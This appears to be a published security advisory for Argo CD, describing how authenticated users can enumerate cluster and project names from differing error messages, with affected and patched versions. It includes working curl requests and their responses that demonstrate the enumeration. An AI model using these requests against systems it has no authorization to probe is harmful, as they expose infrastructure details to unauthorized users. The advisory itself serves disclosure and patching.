| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/argoproj/argo-cd | ≥ 0.11.0, < 2.9.17≥ 0.11.0≥ 2.10.0, < 2.10.12≥ 2.11.0, < 2.11.3 | 2.9.172.10.122.11.3 |
| github.com/argoproj/argo-cd/v2 | ≥ 2.10.0, < 2.10.12≥ 2.11.0, < 2.11.3< 2.9.17 | 2.10.122.11.32.9.17 |
| argo cd | ≥ 2.10.0, < 2.10.12≥ 2.11.0, < 2.11.3> 0.11.0, < 2.9.17 | 2.10.122.11.32.9.17 |
It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:
$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization:
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎
$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}
It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.
curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}
curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}
A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3 v2.10.12 v2.9.17
If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free